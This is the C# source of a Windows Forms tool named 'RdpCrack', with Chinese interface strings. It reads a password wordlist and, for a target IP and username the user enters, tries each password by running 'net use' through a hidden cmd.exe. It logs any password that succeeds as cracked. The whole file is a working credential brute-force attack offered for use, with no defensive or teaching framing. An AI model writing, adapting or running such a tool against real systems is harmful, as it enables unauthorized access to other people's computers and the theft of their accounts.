﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace RdpCrack
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            Control.CheckForIllegalCrossThreadCalls = false;
            StartPosition = FormStartPosition.CenterScreen;
        }
        public Thread th;
        public int s1 = 0;
        public int secrs = 0;
        private void button2_Click(object sender, EventArgs e)
        {
            if(textBox1.Text == string.Empty)
            {
                MessageBox.Show("破解地址不能为空");
                return;
            }
            button2.Enabled = false;
            button3.Enabled = true;
            toolStripStatusLabel2.Text = "正在破解";
            //Console.WriteLine(richTextBox1.Text += "123" + "\r\n");
            //return;
            th = new Thread(RdpPassWord);
            th.IsBackground = false;
            th.Start();
        }

        private void button3_Click(object sender, EventArgs e)
        {
            if(th != null && th.IsAlive)
            {
                th.Abort();//发起终止信号
                button2.Enabled = true;
                button3.Enabled = false;
                toolStripStatusLabel2.Text = "爆破结束";
            }
        }
        public void RdpPassWord()
        {
            Console.WriteLine(richTextBox1.Text += "正在创建破解线程" + "   ---   " + DateTime.Now + "\r\n");
            string password = @"password\rdp.txt";
            using (StreamReader sr = new StreamReader(password, Encoding.Default))
            {
                string str = sr.ReadToEnd();
                if (!string.IsNullOrEmpty(str))
                {
                    string[] strs = str.Split(new char[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
                    for (int i = 0; i < strs.Length; i++)
                    {
                        try
                        {
                            string IP = textBox1.Text;
                            string User = textBox2.Text;
                            string Pass = strs[i];
                            bool userbool = ConnectState(@"\\" + IP, User, Pass);
                            //1 IP 2 密码 3 账号
                            if (userbool)
                            {
                                Console.WriteLine(richTextBox2.Text += "破解时间：" + DateTime.Now + "   ---   " + "IP地址：" + IP + "  " + "登录账号：" + User + "   " + "登录密码：" + strs[i] + "   " + "破解状态：破解成功" + "\r\n");
                                toolStripStatusLabel2.Text = "破解结束";
                                button2.Enabled = true;
                                button3.Enabled = false;
                                th.Abort();
                            }
                            else
                            {
                                Console.WriteLine(richTextBox1.Text += "破解时间：" + DateTime.Now + "   ---   " + "IP地址：" + IP + "  " + "登录账号：" + User + "   " + "登录密码：" + strs[i] + "   " + "破解状态：破解失败" + "\r\n");
                                s1++;
                                toolStripStatusLabel4.Text = s1.ToString();
                            }
                        }
                        catch (Exception ex)
                        {
                            //Console.WriteLine(richTextBox2.Text += "破解时间：" + DateTime.Now + "   ---   " + "IP地址：" + IP + "  " + "登录账号：" + User + "   " + "登录密码：" + strs[i] + "   " + "破解状态：破解失败" + "\r\n");
                        }
                    }
                    toolStripStatusLabel2.Text = "破解结束";
                    button2.Enabled = true;//表示为禁止状态
                    button3.Enabled = false;
                }
            }
        }
        public bool ConnectState(string path, string userName, string passWord)
        {
            bool Flag = false;
            Process proc = new Process();
            try
            {
                //int swgf = Convert.ToInt32(textBox2.Text);//获取int类型格式
                //secrs = swgf / 1000;//
                System.Threading.Thread.Sleep(0);//连接时间
                proc.StartInfo.FileName = "cmd.exe";
                proc.StartInfo.UseShellExecute = false;
                proc.StartInfo.RedirectStandardInput = true;
                proc.StartInfo.RedirectStandardOutput = true;
                proc.StartInfo.RedirectStandardError = true;
                proc.StartInfo.CreateNoWindow = true;
                proc.Start();
                string dosLine = "net use " + path + " " + passWord + " /user:" + userName;
                proc.StandardInput.WriteLine(dosLine);
                proc.StandardInput.WriteLine("exit");
                TimeSpan s1 = new TimeSpan(Convert.ToInt32(textBox5.Text));//timespan超时时间
                s1 = proc.PrivilegedProcessorTime;//处理时间
                string errormsg = proc.StandardError.ReadToEnd();
                proc.StandardError.Close();
                if (string.IsNullOrEmpty(errormsg))
                {
                    Flag = true;
                }
                else
                {
                    throw new Exception(errormsg);
                }
            }
            catch (Exception ex)
            {
                //Console.WriteLine(richTextBox1.Text += "破解失败" + "   ---   " + DateTime.Now + ex + "\r\n");
                //MessageBox.Show(ex.Message);
            }
            finally
            {
                proc.Close();
                proc.Dispose();
            }
            return Flag;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            button3.Enabled = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = true;
                p.StartInfo.FileName = "password";
                p.Start();
            }
            catch (Exception ex)
            {
                MessageBox.Show("打开错误" + ex);
            }
        }

        private void richTextBox1_TextChanged(object sender, EventArgs e)
        {
            if (richTextBox1.Text.Length > 0)
            {
                richTextBox1.SelectionStart = richTextBox1.Text.Length - 1;
                //richTextBox1.SelectionStart = Convert.ToInt32(richTextBox1.Text.Remove(richTextBox1.Text.Length - 1));
                richTextBox1.ScrollToCaret();
            }
        }
    }
}
